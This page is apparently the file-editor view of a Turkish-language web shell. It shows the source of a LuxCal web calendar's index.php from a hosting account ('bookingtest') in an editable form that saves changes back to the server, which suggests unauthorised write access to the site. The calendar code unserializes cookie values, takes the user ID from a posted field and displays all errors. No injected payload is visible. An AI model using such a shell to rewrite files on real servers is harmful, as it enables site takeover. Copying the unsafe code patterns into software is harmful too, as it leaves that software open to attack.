    <h3>/home/bparcsg/public_html/bookingtest/index.php düzenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/bookingtest/index.php">
        <textarea name="content" style="width:100%;height:400px;">&lt;?php
/*
= LuxCal index =

This file is part of the LuxCal Web Calendar.
Copyright (C) 2009-2018 LuxSoft - www.LuxSoft.eu
License http://www.gnu.org/licenses/gpl.html GPL version 3

The LuxCal Web Calendar is distributed WITHOUT ANY WARRANTY.
*/

//page definitions
//page, header, no hdr, mob hdr, footer, mob ftr, title, includes (r:retrieve, m:messaging), spec. attributes
$pages = array (
	 1 =&gt; array ('views/year.php','f','0','m','f','0','','r',''),
	 2 =&gt; array ('views/month.php','f','0','m','f','0','','r','fm'),
	 3 =&gt; array ('views/month.php','f','0','m','f','0','','r','wm'),
	 4 =&gt; array ('views/week.php','f','0','m','f','0','','r','fw'),
	 5 =&gt; array ('views/week.php','f','0','m','f','0','','r','ww'),
	 6 =&gt; array ('views/day.php','f','0','m','f','0','','r',''),
	 7 =&gt; array ('views/upcoming.php','f','0','m','f','0','upcoming','r',''),
	 8 =&gt; array ('views/changes.php','f','0','m','f','0','changes','r',''),
	 9 =&gt; array ('views/matrixc.php','f','0','m','f','0','','r',''),
	10 =&gt; array ('views/matrixu.php','f','0','m','f','0','','r',''),

	20 =&gt; array ('pages/login.php','l','l','l','f','0','log_in','m',''),
	21 =&gt; array ('pages/search.php','a','a','a','f','0','search','r',''),
	22 =&gt; array ('pages/contact.php','a','a','a','f','0','contact','m',''),
	23 =&gt; array ('pages/thumbnails.php','a','a','a','f','0','thumbnails','',''),
	24 =&gt; array ('pages/help.php','h','h','h','0','0','user_guide','',''),

	30 =&gt; array ('pages/event.php','e','e','e','0','0','add_event','rm',''),
	31 =&gt; array ('pages/event.php','e','e','e','0','0','edit_event','rm',''),
	32 =&gt; array ('pages/eventreport.php','e','e','e','0','0','event','r',''),

	90 =&gt; array ('pages/settings.php','a','a','a','f','0','settings','m',''),
	91 =&gt; array ('pages/categories.php','a','a','a','f','0','edit_cats','',''),
	92 =&gt; array ('pages/users.php','a','a','a','f','0','edit_users','',''),
	93 =&gt; array ('pages/groups.php','a','a','a','f','0','edit_groups','',''),
	94 =&gt; array ('pages/database.php','a','a','a','f','0','manage_db','',''),
	95 =&gt; array ('pages/importICS.php','a','a','a','f','0','ics_import','',''),
	96 =&gt; array ('pages/exportICS.php','a','a','a','f','0','ics_export','r',''),
	97 =&gt; array ('pages/importCSV.php','a','a','a','f','0','csv_import','',''),
	99 =&gt; array ('pages/styling.php','s','s','s','0','0','ui_styling','','')
);

//get toolboxes
require './common/toolboxd.php'; //database tools + LCV
require './common/toolbox.php'; //general tools

//set error reporting
//error_reporting(E_ERROR); //errors only
//ini_set('display_errors',0); ini_set('log_errors',1); //no error display
error_reporting(E_ALL); //errors, warnings and notices - test
ini_set('display_errors',1); ini_set('log_errors',1); //test

//proxies: don't cache
header(&quot;Cache-control: private&quot;);

//load config data
if (!file_exists('./lcconfig.php')) {//no current config data
	if (!file_exists('./lcaldbc.dat')) { //no config data: install
		header(&quot;Location: install&quot;.strtolower(substr(str_replace('.','',LCV),0,3)).&quot;.php&quot;); exit();
	} else { //upgrade
		header(&quot;Location: upgrade&quot;.strtolower(substr(str_replace('.','',LCV),0,3)).&quot;.php&quot;); exit();
	}
}
require './lcconfig.php';
if (isset($lcc)) { $lcV = $lcc; } //&lt;V4

if (empty($_POST['lcI'])) { //external hit
	$_POST = array(); //reject POST vars
	if (substr(LCV,0,6) != $lcV) { //LCV not current: upgrade
		header(&quot;Location: upgrade&quot;.strtolower(substr(str_replace('.','',LCV),0,3)).&quot;.php&quot;); exit();
	}
}

$nowTS = time(); //current time uts
//set session cookie parameters
$calPath = rtrim(dirname($_SERVER[&quot;PHP_SELF&quot;]),'/').'/';
//session_set_cookie_params(1800,$calPath); //set cookie path

//start session
session_name('PHPSESSID'); //session cookie name
session_start();

//validate GET / POST variables   or ($nowTS - $_SESSION['lcI'] &gt; 10)
validVars();

if (empty($_SESSION['lcI'])) { $_SESSION['lcI'] = $nowTS; } //set/refresh one-time CSRF token lcI 
$lcI = $_SESSION['lcI'];

//set calendar ID
if (isset($_REQUEST['cal'])) { //switch cal
	$_SESSION['cal'] = $_REQUEST['cal'];
} elseif (empty($_SESSION['cal'])) { //active cal
	$_SESSION['cal'] = isset($_COOKIE['LCALcid']) ? @unserialize($_COOKIE['LCALcid']) : $dbDef;
}
setcookie('LCALcid',serialize($_SESSION['cal']),$nowTS+2592000,$calPath); //set calID cookie to 30 days
$calID = isset($_REQUEST['cal1x']) ? $_REQUEST['cal1x'] : $_SESSION['cal'];

//connect to db
$dbH = dbConnect($calID);
	
//check for SSO (user email passed by parent)
if (!empty($_SESSION['lcUser'])) {
	$stH = stPrep(&quot;SELECT `ID` FROM `users` WHERE `email` = ? AND `status` &gt;= 0&quot;);
	stExec($stH,array($_SESSION['lcUser']));
	unset($_SESSION['lcUser']);
	if ($row = $stH-&gt;fetch(PDO::FETCH_NUM)) { $uidSso = $row[0]; }; //save user ID
	$stH = null; //release statement handle
}

//switch to calendar specific session
$sessID = session_id();
$sessNM = session_name();
session_write_close();
session_id($sessID.$calID);
session_name($sessNM.$calID); //session cookie name
session_start();
unset($sessID,$sessNM);

//get user ID
if (isset($_POST['loff'])) { //log off - set public user
	$_SESSION['uid'] = 1;
} elseif (isset($_POST[&quot;userID&quot;])) { //from login page
	$_SESSION['uid'] = $_POST[&quot;userID&quot;];
} elseif (isset($uidSso)) { //single sign on
	$_SESSION['uid'] = $uidSso;
} elseif (empty($_SESSION['uid'])) { //fall back
	$_SESSION['uid'] = isset($_COOKIE[&quot;LCALuid_{$calID}&quot;]) ? @unserialize($_COOKIE[&quot;LCALuid_{$calID}&quot;]) : 1;
}

//get user data &amp; privs
$stH = stPrep(&quot;SELECT u.`ID`,u.`name`,u.`email` AS mail,u.`language` AS lang,g.`privs`,g.`vCatIDs` AS vCats,g.`eCatIDs` AS eCats,g.`rEvents` AS rEvts,g.`mEvents` AS mEvts,g.`pEvents` AS pEvts,g.`upload`,g.`sendSms` AS sndSms,g.`tnPrivs` FROM `users` AS u INNER JOIN `groups` AS g ON g.`ID` = u.`groupID` WHERE u.`ID` = 1 OR u.`ID` = ? ORDER BY u.`ID` DESC&quot;); //if userID not found, revert to public user
stExec($stH,array($_SESSION['uid']));
$usr = $stH-&gt;fetch(PDO::FETCH_ASSOC); //user &amp; group data
$row = $stH-&gt;fetch(PDO::FETCH_ASSOC); //public user or false (if $usr is public user)
$stH = null;
if (isset($_GET['pP']) and $usr['privs'] == 9) { phpinfo(); exit; } //admin - show PHP installation page
if ($row != false) { //$usr is not the public user: take care that usr has rights of usr + public user
	if ($usr['vCats'] != '0' and $row['privs'] &gt; 0) { $usr['vCats'] = $row['vCats'] == '0' ? '0' : $usr['vCats'].','.$row['vCats']; } //view categories
	if ($usr['eCats'] != '0' and $row['privs'] &gt; 1) { $usr['eCats'] = $row['eCats'] == '0' ? '0' : $usr['eCats'].','.$row['eCats']; } //edit categories
} else { //uid not found or is public user
	$_SESSION['uid'] = 1;
}
unset($row);

//get settings from database
$set = getSettings();

//when login: bake 0:forget, 1:remember
if (isset($_POST['bake'])) {
	setcookie(&quot;LCALuid_{$calID}&quot;,serialize($usr['ID']),$nowTS+86400*$set['cookieExp']*$_POST['bake'],$calPath); //set or refresh
}

//set time zone
date_default_timezone_set($set['timeZone']);
$today = date('Y-m-d'); //date of today

if (empty($_POST['lcI']) or isset($_POST['bake'])) { //external hit or log in - update login data &amp; load last selected options
	$stH = stPrep(&quot;UPDATE `users` SET `login0` = CASE WHEN substr(`login0`,1,1) = '9' THEN ? ELSE `login0` END, `login1` = ?, `loginCnt` = `loginCnt` + 1 WHERE `ID` = ?&quot;);
	stExec($stH,array($today,$today,$usr['ID']));
	if ($set['restLastSel'] and $usr['ID'] &gt; 1) { loadLastSel($calID); }
}

//check for mobile browsers
if (!isset($_SESSION['mobile'])) {
	$_SESSION['mobile'] = isMobile() &gt; 1; //mobile small screen size
}
$isMob = $_SESSION['mobile'];

//set header display
if (isset($_GET['hdr'])) { $_SESSION['hdr'] = $_GET['hdr']; }
elseif (!isset($_SESSION['hdr'])) { $_SESSION['hdr'] = 1; }
$cH = $_SESSION['hdr']; //calendar header

//set language
if (isset($_REQUEST[&quot;cL&quot;])) { $_SESSION['cL'] = $_REQUEST['cL']; }
if (empty($_SESSION['cL'])) { $_SESSION['cL'] = ($usr['lang'] ? $usr['lang'] : $set['language']); }
if (!file_exists(&quot;./lang/ui-{$_SESSION['cL']}.php&quot;)) { $_SESSION['cL'] = 'english'; }
$opt['cL'] = strtolower($_SESSION['cL']);
require &quot;./lang/ui-{$opt['cL']}.php&quot;;

//set view restrictions
$eDetails = ($set['details4All'] == 1 or ($set['details4All'] == 2 and $usr['ID'] &gt; 1)); //show event details
$avViews = $usr['ID'] == 1 ? $set['viewsPublic'] : $set['viewsLogged']; //available views

if (isset($_POST['loff'])) { //logoff: reset options
	$opt['cP'] = $_SESSION['cP'] = $usr['privs'] ? $set['defViewPub'] : 20;
	$_SESSION['cG'] = $_SESSION['cU'] = $_SESSION['cC'] = $opt['cG'] = $opt['cU'] = $opt['cC']  = array(0);
	$_SESSION['cL'] = $opt['cL'] = $set['language'];
	goto allSet;
}

//set current page
if (isset($_REQUEST['cP'])) {
	if ($_REQUEST['cP'] == 'up') { //one level up
		if (!empty($_SESSION['cP'])) {
			$oneUp = array(2 =&gt; 1, 3 =&gt; 1, 4 =&gt; 2, 5 =&gt; 3, 6 =&gt; 4);
			$upPage = $_SESSION['cP'];
			while ($upPage &gt; 1) {
				$upPage = $oneUp[$upPage];
				if (strpos($avViews,strval($upPage)) !== false) { $_SESSION['cP'] = $upPage; break; }
			}
		}
	} elseif (($_REQUEST['cP'] &gt; 10 or strpos($avViews,strval($_REQUEST['cP'])) !== false) and array_key_exists($_REQUEST['cP'],$pages)) {
		$_SESSION['cP'] = $_REQUEST['cP'];
	} elseif ($_REQUEST['cP'] == 0) {
		$_SESSION['cP'] = $usr['ID'] == 1 ? $set['defViewPub'] : $set['defViewLog'];
	}
}
if (empty($_SESSION['cP'])) { $_SESSION['cP'] = $usr['ID'] &gt; 1 ? $set['defViewLog'] : ($usr['privs'] ? $set['defViewPub'] : 20); } //if no privs, force login
$opt['cP'] = !empty($_REQUEST['xP']) ? $_REQUEST['xP'] : $_SESSION['cP']; //$xP: don't store in session

//set group filter
if (isset($_REQUEST['cG'])) { $_SESSION['cG'] = $_REQUEST['cG']; }
elseif (!isset($_SESSION['cG'])) { $_SESSION['cG'] = array(0); }
$opt['cG'] = $_SESSION['cG']; //current group

//set user filter
if (isset($_REQUEST['cU'])) { $_SESSION['cU'] = $_REQUEST['cU']; }
elseif (!isset($_SESSION['cU'])) { $_SESSION['cU'] = array(0); }
$opt['cU'] = $_SESSION['cU']; //current user

//set category filter
if (isset($_REQUEST['cC'])) { $_SESSION['cC'] = $_REQUEST['cC']; }
elseif (!isset($_SESSION['cC'])) { $_SESSION['cC'] = array(0); }
$opt['cC'] = $_SESSION['cC']; //current category

//save last selected cP, cG, cU, cC, cL
if ((isset($_REQUEST['cP']) or isset($_REQUEST['cG']) or isset($_REQUEST['cU']) or isset($_REQUEST['cC']) or isset($_REQUEST['cL'])) and $usr['ID'] &gt; 1) {
	saveLastSel($calID,$calPath);
}

allSet:

//set current date
$nD = ''; //preset no new date
if (!empty($_POST['nD'])) { $_SESSION['cD'] = $nD = DDtoID($_POST['nD']); }
elseif (isset($_REQUEST['cD'])) { $_SESSION['cD'] = $_REQUEST['cD']; }
if (empty($_SESSION['cD'])) { $_SESSION['cD'] = $today; } //empty: today
$opt['cD'] = $_SESSION['cD']; //current date

//set rss get-method filter
$cF = &quot;&amp;amp;cal={$calID}&quot;;
foreach ($opt['cG'] as $group) { if ($group) { $cF .= '&amp;amp;cG%5B%5D='.$group; } }
foreach ($opt['cU'] as $user) { if ($user) { $cF .= '&amp;amp;cU%5B%5D='.$user; } }
foreach ($opt['cC'] as $categ) { if ($categ) { $cF .= '&amp;amp;cC%5B%5D='.$categ; } }
if ($cF) { $cF = '?'.substr($cF,5); }

$mode = isset($_REQUEST['mode']) ? $_REQUEST['mode'] : $pages[$opt['cP']][8]; //get mode

$pageTitle = !empty($pages[$opt['cP']][6]) ? $xx[&quot;title_{$pages[$opt['cP']][6]}&quot;] : '';

if (strpos($pages[$opt['cP']][7],'r') !== false) { //retrieve required
	require './common/retrieve.php';
}
if (strpos($pages[$opt['cP']][7],'m') !== false) { //messaging required
	require './common/messaging.php';
}

/* build calendar page */
$hdrType = $cH &lt; 1 ? $pages[$opt['cP']][2] : ($isMob ? $pages[$opt['cP']][3] : $pages[$opt['cP']][1]); //set header type
$ftrType = $isMob ? $pages[$opt['cP']][5] : $pages[$opt['cP']][4]; //set footer type
$body = $pages[$opt['cP']][0]; //body uri
unset($pages);
require './common/header.php'; //header
require &quot;./{$body}&quot;; //body
//require './common/footer.php'; //footer
?&gt;
</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/bparcsg/public_html/bookingtest">← Geri</a>